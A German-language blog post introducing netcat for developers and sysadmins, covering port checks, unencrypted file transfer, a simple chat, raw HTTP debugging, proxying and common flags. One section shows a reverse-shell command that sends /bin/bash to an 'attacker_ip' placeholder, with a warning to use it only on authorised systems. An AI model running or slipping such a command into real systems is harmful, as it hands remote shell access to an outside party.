netcat

7. Juli 2025

Netcat ist eines dieser Tools, die jeder Entwickler und Sysadmin kennen sollte. Ich kenne es auch erst seit ein paar Tagen, aber bin beeindruckt, für was ein so simples Tool verwendet werden kann.

Was ist Netcat?

Netcat (oder kurz nc) ist ein simples Command-Line-Tool, das TCP/UDP-Verbindungen aufbauen, lauschen und Daten übertragen kann. Du kannst damit so ziemlich alles machen – von schnellen Port-Checks bis hin zu improvisierten Chat-Servern.

Installation

Die meisten Linux-Distributionen haben netcat bereits installiert. Auf macOS bekommst du es über Homebrew:

brew install netcat

Windows-User können es über WSL nutzen oder eine Windows-Version runterladen. Alternativ die Installation mit winget:

winget install Insecure.Nmap

Auch wenn es verwirrend ist, aber netcat ist hier Teil von nmap, wird aber anstatt mit nc mit ncat gestartet.

Ein paar Basics

Der einfachste Use Case ist das Checken, ob ein Port offen ist:

# Ist Port 80 auf example.com offen?
nc -zv example.com 80

# Port-Range scannen
nc -zv example.com 20-25

Das -z Flag macht einen Zero-I/O-Scan (keine Daten senden), -v für verbose Output.

File-Transfer

Manchmal will man einfach eine Datei von A nach B zu kopieren, ohne SSH oder FTP aufzusetzen. Das geht mit netcat sehr einfach:

Schritt 1: Empfänger vorbereiten

# Auf dem Ziel-System (wo die Datei ankommen soll)
nc -l -p 1234 > received_file.txt

Hier passiert folgendes:

  • -l startet den Listen-Mode (netcat wartet auf Verbindungen)
  • -p 1234 definiert Port 1234 als Listening-Port
  • > received_file.txt leitet alles, was ankommt, in diese Datei um

Schritt 2: Datei senden

# Auf dem Quell-System (wo die Datei liegt)
nc target_ip 1234 < file_to_send.txt

Das macht Folgendes:

  • Verbindet sich zu target_ip auf Port 1234
  • < file_to_send.txt liest die Datei und schickt den Inhalt über die Verbindung

Wichtig: Du musst zuerst den Empfänger starten, dann erst den Sender. Sonst läuft der Sender ins Leere.

Praktisches Beispiel:

# Server (IP: 192.168.1.100)
nc -l -p 5555 > backup.sql

# Client
nc 192.168.1.100 5555 < database_dump.sql

Tada, fertig. Kein Setup, keine Authentifizierung, einfach nur Daten-Transfer. Ist natürlich komplett unverschlüsselt, also nur für interne Netzwerke verwenden!

Simple Chat-Server

Für schnelle Team-Kommunikation ohne Internet:

Server:

nc -l -p 1234

Client:

nc server_ip 1234

Jetzt könnt ihr euch Nachrichten schicken, aber wie schon zuvor, auch hier unverschlüsselt.

Web-Server-Debugging

Du kannst raw HTTP-Requests absetzen und Responses analysieren:

# HTTP-Request manuell bauen
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

Das ist hilfreich, wenn du verstehen willst, was genau zwischen Client und Server passiert.

Reverse Shells

Netcat kann auch Reverse Shells erstellen. Das ist ein mächtiges Feature, aber auch gefährlich:

# Listener aufsetzen
nc -l -p 1234

# Von anderem System verbinden und Shell weiterleiten
nc attacker_ip 1234 -e /bin/bash

⚠️ WICHTIGER HINWEIS: Nutze das NUR in kontrollierten Umgebungen für Tests! In Production ist das ein massives Security-Risiko. Außerdem kann das rechtlich problematisch werden – Reverse Shells können als Hacking-Tool eingestuft werden. Verwende es nur auf Systemen, die dir gehören oder wo du explizite Erlaubnis hast. Wenn du Pentesting oder Security-Audits machst, kläre das vorher rechtlich ab.

Proxying und Relaying

Du kannst netcat als simplen Proxy verwenden:

# Traffic von Port 8080 zu example.com:80 weiterleiten
mkfifo backpipe
nc -l -p 8080 0<backpipe | nc example.com 80 1>backpipe

Nützliche Flags im Überblick

  • -l: Listen-Mode (Server)
  • -n: keine DNS-Namensauflösung; IP direkt verwenden
  • -p: Port angeben
  • -v: Verbose Output
  • -z: Zero-I/O-Mode (nur Connection-Test)
  • -u: UDP statt TCP verwenden
  • -w: Timeout setzen
  • -k: Keep-Alive für mehrere Connections

Praktische Beispiele

Database-Connection testen

# MySQL-Port checken
nc -zv mysql-server 3306

Load-Balancer-Debugging

# Mehrere Requests um Round-Robin zu testen
for i in {1..10}; do echo "Request $i" | nc lb-server 80; done

Application-Level Latency messen

# TCP-Latency zu einem spezifischen Service messen
time echo "HEAD / HTTP/1.0\r\n\r\n" | nc web-server 80

Das ist anders als ping (ICMP), weil du hier die echte TCP-Verbindungszeit zu einem spezifischen Port misst. Praktisch, wenn ICMP geblockt ist oder du die Latency zu einem konkreten Service brauchst.

Fazit

Netcat ist so ein Tool, das du wahrscheinlich nicht täglich brauchst, aber wenn du es brauchst, dann richtig. Ich kenne es auch erst seit ein paar Tagen, aber ich kann mir gut vorstellen, dass es bei verschiedenen Debugging-Situationen ziemlich praktisch ist.

Das Coole an netcat: Es ist simpel, macht genau das, was es soll, und ist überall verfügbar. Kein komplexes Setup, keine Abhängigkeiten – einfach nur rohe Netzwerk-Kommunikation. Perfekt für die Momente, in denen du schnell mal testen musst, ob ein Port offen ist oder eine Datei kopieren willst.